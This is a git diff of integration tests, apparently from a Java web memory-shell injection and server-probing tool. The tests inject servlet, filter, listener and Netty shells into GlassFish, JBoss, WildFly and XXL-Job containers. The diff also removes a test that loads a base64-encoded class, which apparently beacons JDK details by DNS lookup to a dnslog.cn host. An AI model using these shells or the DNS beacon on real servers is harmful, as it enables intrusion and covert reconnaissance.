||||
@@ -54,7 +54,7 @@ public class Wildfly9ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Undertow;
|
||||
String server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||
|
||||
+2
-3
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -21,7 +21,6 @@ import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
@@ -40,7 +39,7 @@ public class XxlJob220ContainerTest {
|
||||
.withExposedService("executor", 9999);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.XXLJOB;
|
||||
String server = Server.XXLJOB;
|
||||
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||
List<Packers> testPackers = List.of(Packers.XxlJob);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
|
||||
+2
-3
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -21,7 +21,6 @@ import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
@@ -40,7 +39,7 @@ public class XxlJob230ContainerTest {
|
||||
.withExposedService("executor", 9999);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.XXLJOB;
|
||||
String server = Server.XXLJOB;
|
||||
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||
List<Packers> testPackers = List.of(Packers.XxlJob);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
|
||||
+1
-14
@@ -1,14 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe;
|
||||
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.probe.payload.BasicInfoPrinter;
|
||||
import com.reajason.javaweb.probe.payload.JdkProbe;
|
||||
import com.reajason.javaweb.probe.payload.ServerProbe;
|
||||
import com.reajason.javaweb.util.ClassDefiner;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -35,15 +33,4 @@ public class DetectionTool {
|
||||
public static String getServerDetection() {
|
||||
return getBase64Class(ServerProbe.class);
|
||||
}
|
||||
|
||||
@Test
|
||||
void test() {
|
||||
System.out.println(getServerDetection());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testBase() {
|
||||
byte[] bytes = Base64.decodeBase64("yv66vgAAADIAeQEAJW9yZy9hcGFjaGUvY29tbW9ucy9EcExrTC9FcnJvckhhbmRsZXIHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAEaG9zdAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAEG01OTV6Yi5kbnNsb2cuY24IAAcBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwALDAAJAAoKAAQADQEABmdldEpkawEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DAAPABAKAAIAEQEAAlx8CAATAQAQamF2YS9sYW5nL1N0cmluZwcAFQEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7DAAXABgKABYAGQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwAbCgAcAA0BAAhqZGtUeXBlLggAHgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwwAIAAhCgAcACIBAAh0b1N0cmluZwwAJAAQCgAcACUBAAxqYXZhVmVyc2lvbi4IACcBABFjbGFzc0ZpbGVWZXJzaW9uLggAKQEAE1tMamF2YS9sYW5nL1N0cmluZzsHACsBAAEuCAAtDAAFAAYJAAIALwEAFGphdmEvbmV0L0luZXRBZGRyZXNzBwAxAQAMZ2V0QWxsQnlOYW1lAQArKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbmV0L0luZXRBZGRyZXNzOwwAMwA0CgAyADUBAAlqYXZhLmhvbWUIADcBABBqYXZhL2xhbmcvU3lzdGVtBwA5AQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAOwA8CgA6AD0BAAxqYXZhL2lvL0ZpbGUHAD8BAA1zZXBhcmF0b3JDaGFyAQABQwwAQQBCCQBAAEMBAAlqYXZhYy5leGUIAEUBAAVqYXZhYwgARwEAA2JpbggASQEACXNlcGFyYXRvcgwASwAGCQBAAEwBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYMAAkATgoAQABPAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAJAFEKAEAAUgEADWdldFBhcmVudEZpbGUBABAoKUxqYXZhL2lvL0ZpbGU7DABUAFUKAEAAVgEAIyhMamF2YS9pby9GaWxlO0xqYXZhL2xhbmcvU3RyaW5nOylWDAAJAFgKAEAAWQEABmV4aXN0cwEAAygpWgwAWwBcCgBAAF0BAANKREsIAF8BAANKUkUIAGEBAAxqYXZhLnZlcnNpb24IAGMBABBqYXZhL2xhbmcvRG91YmxlBwBlAQASamF2YS5jbGFzcy52ZXJzaW9uCABnCgBmAFIBAAhpbnRWYWx1ZQEAAygpSQwAagBrCgBmAGwBAAd2YWx1ZU9mAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7DABuAG8KABYAcAEAAXwIAHIBAAg8Y2xpbml0PgoAAgANAQANQ29uc3RhbnRWYWx1ZQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAQAJAAUABgABAHYAAAACAAgAAwABAAkACgABAHcAAADtAAYACAAAAJsqtwAOKrcAEhIUtgAaTAa9ABZZA7sAHFm3AB0SH7YAIysDMrYAI7YAJlNZBLsAHFm3AB0SKLYAIysEMrYAI7YAJlNZBbsAHFm3AB0SKrYAIysFMrYAI7YAJlNNLE4tvjYEAzYFFQUVBKIAMi0VBTI6BrsAHFm3AB0ZBrYAIxIutgAjsgAwtgAjtgAmuAA2V6cABToHhAUBp//NsQABAHEAjwCSAAwAAQB4AAAAOAAE/wBkAAYHAAIHACwHACwHACwBAQAA/wAtAAcHAAIHACwHACwHACwBAQcAFgABBwAM+gAB+AAFAAIADwAQAAEAdwAAATcABQAKAAAA0gFMKk0AAacAA00SOLgAPk6yAEQQXKAACBJGpwAFEkg6BLsAQFktuwAcWbcAHRJKtgAjsgBNtgAjGQS2ACO2ACa3AFA6BbsAQFm7AEBZLbcAU7YAV7sAHFm3AB0SSrYAI7IATbYAIxkEtgAjtgAmtwBaOgYZBbYAXpoACxkGtgBemQAIEmCnAAUSYjoHEmS4AD46CLsAZlkSaLgAPrcAabYAbbgAcToJuwAcWbcAHRkHtgAjEnO2ACMZCLYAIxJztgAjGQm2ACO2ACZZTacAA0wssAAAAAEAeAAAAFMAC/wAAgcAFvwAAQcAAv8ABAACBwACBwAWAAEHABb8AAAHABb8ABIHABZBBwAW/gBjBwAWBwBABwBABEEHABb/AEQAAwcAAgcAFgcAFgABBwAWAAAIAHQACgABAHcAAAAnAAIAAAAAABGnAA0AuwACWbcAdVexAKf/9QAAAAEAeAAAAAQAAgMJAAA=");
|
||||
ClassDefiner.defineClass(bytes);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
@@ -19,9 +18,8 @@ import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.time.Duration;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -62,20 +60,20 @@ public class GlassFish3ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -20,9 +19,8 @@ import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.time.Duration;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -68,20 +66,20 @@ public class GlassFish4ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -54,20 +52,20 @@ public class GlassFish501ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class GlassFish510ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -56,20 +54,20 @@ public class GlassFish6ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -18,9 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -62,20 +60,20 @@ public class GlassFish7ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V17);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V17);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V17);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V17);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -56,20 +54,20 @@ public class Jboss423ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JBOSS, data);
|
||||
assertEquals(Server.JBoss, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Jboss510ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JBOSS, data);
|
||||
assertEquals(Server.JBoss, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Jboss610ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JBOSS, data);
|
||||
assertEquals(Server.JBoss, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
